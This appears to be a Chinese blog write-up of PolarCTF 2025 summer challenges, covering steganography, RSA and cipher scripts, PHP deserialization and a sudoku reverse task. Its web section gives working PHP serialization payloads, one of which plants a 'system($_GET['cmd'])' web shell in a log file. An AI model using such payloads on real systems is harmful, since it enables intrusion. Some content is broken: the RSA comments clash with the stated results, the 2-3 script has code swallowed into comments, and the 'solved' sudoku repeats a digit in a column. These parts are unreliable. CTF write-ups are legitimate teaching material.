PolarCTF 2025夏季挑战赛 WP

第一部分:MISC

1-1 秘密的消息

本题思路如下:

对1.txt解密



第二关表情包是base100解密

2025新的知识库/比赛wp/assets/677503c4fe71c697e21dd66c9a33d086_MD5.gif

图片里藏了压缩包,对图片进行提取

最后得到Z29vZCBsdWNr,base64解密之后得到good luck,再32位小写md5加密即可

2025新的知识库/比赛wp/assets/ba4bb2630475c856add1d16fcc06cbca_MD5.gif

1-2 最爱的专辑

本题思路如下:

txt里有密钥“我爱火星哥”,wav猜测是deepsound隐写,提取出来一个压缩包

2025新的知识库/比赛wp/assets/241ae65aae12969efe78b1d20e57552e_MD5.gif

然后短信消息,根据图片提示是九键密码

2025新的知识库/比赛wp/assets/c3fddc9b76979dc22cb41ab708a64f56_MD5.gif

经过测试解压密码是Bruno Mars,解压后获得flag

2025新的知识库/比赛wp/assets/4a03de2b8dd13d141a3a76271cedc2d4_MD5.gif

1-5 狂热粉丝(1-5)

本题思路如下:

第一题

打开chat-master,查看readme看到项目名Tinode

2025新的知识库/比赛wp/assets/e7a68b49a48fd6cac79f116d53b3d817_MD5.gif

第二题

回收站里找到html文件,打开发现黑客发送的内容

2025新的知识库/比赛wp/assets/9a878e422845ccffa80259cb0379b6b8_MD5.gif

第三题

项目源文件在文档/Program(可以用everything搜索文件名)

使用die进行分析,发现Nultka,这是Python项目打包工具,所以是python(该项目文件夹里的python文件也证明了这一点)2025新的知识库/比赛wp/assets/c102a8ae47a3ca3b4e8de2fe188c0581_MD5.gif

第四题

看密码保存记录

2025新的知识库/比赛wp/assets/5df3707bfaf1267cab53ac34b6e5aae6_MD5.gif

第五题

看main.py

2025新的知识库/比赛wp/assets/de64dcc8e8944e097aabce68b99bdb37_MD5.gif

这里都是把cmd.exe进行替换,因此是cmd.exe

1-8 无线密钥追击4.0

本题思路如下:

CTFNetA进行破解

2025新的知识库/比赛wp/assets/ff69b515ff5019a384254863547d55db_MD5.gif

第二部分:CRYPTO

2-1 长城守护计划的密码疑云

p = 4643  
q = 8537  
e = 6557355762357451357  
c = 484927  
  
# 计算 n 和 φ(n)  
n = p * q  
phi_n = (p - 1) * (q - 1)  
  
# 计算 e_mod = e % φ(n)  
e_mod = e % phi_n  # e_mod = 5  
  
# 计算 d = e_mod^{-1} mod φ(n)  
d = pow(e_mod, -1, phi_n)  # d = 7924823  
  
# 解密密文 c 得到明文 m  
m = pow(c, d, n)  
  
print("私钥指数 d =", d)  
print("解密后的明文 m =", m)

私钥指数 d = 18807893

解密后的明文 m = 22192076

d和m连在一起,加md5即可

2-2 云影

本题思路如下:
搜索是云影密码
解密

a = "5212081052120120885309853"  
a = a.split("0")  
flag = ''  
for i in range(0, len(a)):  
    str = a[i]  
    sum = 0  
    for i in str:  
        sum += int(i)  
    flag += chr(sum + 64)  
print (flag)

转32位小写md5后获得答案

2-3 unusually

from Crypto.Util.number import long_to_bytes  
  
# 已知值m_prev = 671127523074690136116845074920717644143288626158531024402033639752688890215412609007519932833721  
m_next = 671127523074690136116845074920717644143288626158531024402033639752688890215412609007519932834183  
n = 1526026852743317872689519585937541940924797496649603692424635450129074124078179120067618023675593573  
c = 367076481576650817908149902851774134294227770558143290079121674007696527322639764861520184786487  
e = 65535  
  
# 遍历区间 [m_prev+1, m_next-1]  
for m_candidate in range(m_prev + 1, m_next):  
    # 检查条件:n^e mod m_candidate == c  
    if pow(n, e, m_candidate) == c:  
        print("Found m:", m_candidate)  
        flag = long_to_bytes(m_candidate)  
        print("Flag:", flag)  
        break  
else:  # 如果循环结束未找到    print("No valid m found in the interval")  

2025新的知识库/比赛wp/assets/26ce7438f2a43b4c537bc87edaaf49a4_MD5.gif

第三部分:WEB

3-5 简单的链子

<?php

class A {

    public $cmd = 'cat /flag';

}

$obj = new A();

echo urlencode(serialize($obj));

?>

完成后GET:data获得flag

3-8 nukaka_ser2

<?php

class FlagReader {

    private $logfile = "/tmp/log.txt";

    protected $content = "<?php system(\$_GET['cmd']); ?>";

}

class VulnerableClass {

    public $logger;

    private $debugMode;

    public function __construct() {

        $this->debugMode = true;

        $this->logger = new FlagReader();

    }

}

$obj = new VulnerableClass();

echo base64_encode(serialize($obj));

?>

运行后传值即可

第四部分:REVERSE

4-1 re数独

本题思路如下:

数独存放位置在这里

2025新的知识库/比赛wp/assets/26feb8fc140a93d21e4a97b2b5e2f0c1_MD5.gif

这一段每四个字节对应一个数

2025新的知识库/比赛wp/assets/3a13abe0fac03922c5686e85eb33a2fd_MD5.gif

得出数独

原来的:

5 3 0 | 0 7 0 | 0 0 0

0 0 0 | 1 9 5 | 0 0 0

0 0 0 | 0 0 0 | 0 6 0

------+-------+------

8 0 6 | 0 0 0 | 0 0 3

4 0 0 | 8 0 3 | 0 0 1

7 0 0 | 0 2 0 | 0 0 6

------+-------+------

0 6 0 | 0 0 0 | 2 8 0

0 0 0 | 4 1 9 | 0 0 5

0 0 0 | 0 8 0 | 0 7 9

解决后:

5 3 4 | 6 7 2 | 9 1 8

6 8 7 | 1 9 5 | 3 4 2

1 9 2 | 3 4 8 | 5 6 7

------+-------+------

8 2 6 | 5 1 4 | 7 9 3

4 5 9 | 8 6 3 | 2 7 1

7 1 3 | 9 2 4 | 8 5 6

------+-------+------

9 6 1 | 7 3 5 | 2 8 4

2 7 8 | 4 1 9 | 6 3 5

3 4 5 | 2 8 6 | 1 7 9

最后一行md5加密即可获得flag
posted @ 2025-06-08 06:57  _ljnljn  阅读(132)  评论(1)    收藏  举报